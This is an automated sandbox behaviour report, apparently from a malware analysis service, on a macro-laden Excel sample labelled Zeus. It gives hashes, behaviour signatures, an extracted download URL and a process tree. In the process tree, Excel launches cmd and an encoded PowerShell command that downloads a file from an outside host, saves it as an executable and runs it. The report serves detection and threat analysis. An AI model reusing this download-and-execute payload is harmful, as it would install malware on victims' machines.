Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
15-12-2024 17:34
Behavioral task
behavioral1
Sample
486e3a18e708eec3e9f8d6b0e5adec6e3494be0b3813d3937881b6a626543421.xls
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
486e3a18e708eec3e9f8d6b0e5adec6e3494be0b3813d3937881b6a626543421.xls
Resource
win10v2004-20241007-en
General
-
Target
486e3a18e708eec3e9f8d6b0e5adec6e3494be0b3813d3937881b6a626543421.xls
-
Size
60KB
-
MD5
cb1b432c3c8341c03bd9c068e77b8483
-
SHA1
90e2fe9ae82c5643bd20729ee048088a38101fcb
-
SHA256
486e3a18e708eec3e9f8d6b0e5adec6e3494be0b3813d3937881b6a626543421
-
SHA512
a08218d7ec69c7b5657c9b4771b5dae36abbd753b8f3360adb6e0b05e1cd0f4ff4a3019690cbd5ac1dacb73137c8e507d0215ee0f0af5530a631b26f68a0ff6f
-
SSDEEP
1536:cDZ+RwPONXoRjDhIcp0fDlaGGx+cL26nAAXyrrgZ2vGqJZHxMi4ZOyzpGwS:cDZ+RwPONXoRjDhIcp0fDlaGGx+cL26O
Malware Config
Extracted
https://a.doko.moe/aknxfz.jpg
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2900 1904 cMD.exe 30 -
Zeus
-
Zeus family
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 2748 powershell.exe 6 2748 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cMD.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1904 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2748 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2748 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1904 EXCEL.EXE 1904 EXCEL.EXE 1904 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1904 wrote to memory of 2900 1904 EXCEL.EXE 31 PID 1904 wrote to memory of 2900 1904 EXCEL.EXE 31 PID 1904 wrote to memory of 2900 1904 EXCEL.EXE 31 PID 1904 wrote to memory of 2900 1904 EXCEL.EXE 31 PID 2900 wrote to memory of 2748 2900 cMD.exe 33 PID 2900 wrote to memory of 2748 2900 cMD.exe 33 PID 2900 wrote to memory of 2748 2900 cMD.exe 33 PID 2900 wrote to memory of 2748 2900 cMD.exe 33
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\486e3a18e708eec3e9f8d6b0e5adec6e3494be0b3813d3937881b6a626543421.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1904 -
C:\Windows\SysWOW64\cMD.execMD & /C PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAcwBIAHoANABMAFAAeABfAFMARwBiAEYANQBNAGUAQwBIACAAKAAgACQAbABuADQARwB5AGwATwBfAGgAZwBOAHIARQBKAGkAMwB0AEQAdQA5AEEAeABuAEcAegBrAHoANwAzACAALAAgACQAdgBiAGgAZQBRAEkAZgBXADQAZQBqADMAbQBzAGgAVQBNACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAbABuADQARwB5AGwATwBfAGgAZwBOAHIARQBKAGkAMwB0AEQAdQA5AEEAeABuAEcAegBrAHoANwAzACAALAAgACQAdgBiAGgAZQBRAEkAZgBXADQAZQBqADMAbQBzAGgAVQBNACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAHYAYgBoAGUAUQBJAGYAVwA0AGUAagAzAG0AcwBoAFUATQAgACkAOwAgAH0ADQAKAHQAcgB5AHsADQAKAA0ACgAkAGcANQB4AGQAaQBhAEIAaABUAFoAVgB1ADQAWABXADcAMgBqADkAeABYAGsATwA9ACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAKwAnAFwAQQA2ADYANQA1ADgAWQBBADEAXwA5AGsAbgA1AHgAYQBmAC4AZQB4AGUAJwA7AA0ACgBzAEgAegA0AEwAUAB4AF8AUwBHAGIARgA1AE0AZQBDAEgAIAAnAGgAdAB0AHAAcwA6AC8ALwBhAC4AZABvAGsAbwAuAG0AbwBlAC8AYQBrAG4AeABmAHoALgBqAHAAZwAnACAAJABnADUAeABkAGkAYQBCAGgAVABaAFYAdQA0AFgAVwA3ADIAagA5AHgAWABrAE8AOwANAAoADQAKAH0AYwBhAHQAYwBoAHsAfQA=2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2900 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAcwBIAHoANABMAFAAeABfAFMARwBiAEYANQBNAGUAQwBIACAAKAAgACQAbABuADQARwB5AGwATwBfAGgAZwBOAHIARQBKAGkAMwB0AEQAdQA5AEEAeABuAEcAegBrAHoANwAzACAALAAgACQAdgBiAGgAZQBRAEkAZgBXADQAZQBqADMAbQBzAGgAVQBNACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAbABuADQARwB5AGwATwBfAGgAZwBOAHIARQBKAGkAMwB0AEQAdQA5AEEAeABuAEcAegBrAHoANwAzACAALAAgACQAdgBiAGgAZQBRAEkAZgBXADQAZQBqADMAbQBzAGgAVQBNACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAHYAYgBoAGUAUQBJAGYAVwA0AGUAagAzAG0AcwBoAFUATQAgACkAOwAgAH0ADQAKAHQAcgB5AHsADQAKAA0ACgAkAGcANQB4AGQAaQBhAEIAaABUAFoAVgB1ADQAWABXADcAMgBqADkAeABYAGsATwA9ACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAKwAnAFwAQQA2ADYANQA1ADgAWQBBADEAXwA5AGsAbgA1AHgAYQBmAC4AZQB4AGUAJwA7AA0ACgBzAEgAegA0AEwAUAB4AF8AUwBHAGIARgA1AE0AZQBDAEgAIAAnAGgAdAB0AHAAcwA6AC8ALwBhAC4AZABvAGsAbwAuAG0AbwBlAC8AYQBrAG4AeABmAHoALgBqAHAAZwAnACAAJABnADUAeABkAGkAYQBCAGgAVABaAFYAdQA0AFgAVwA3ADIAagA5AHgAWABrAE8AOwANAAoADQAKAH0AYwBhAHQAYwBoAHsAfQA=3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2748
-
-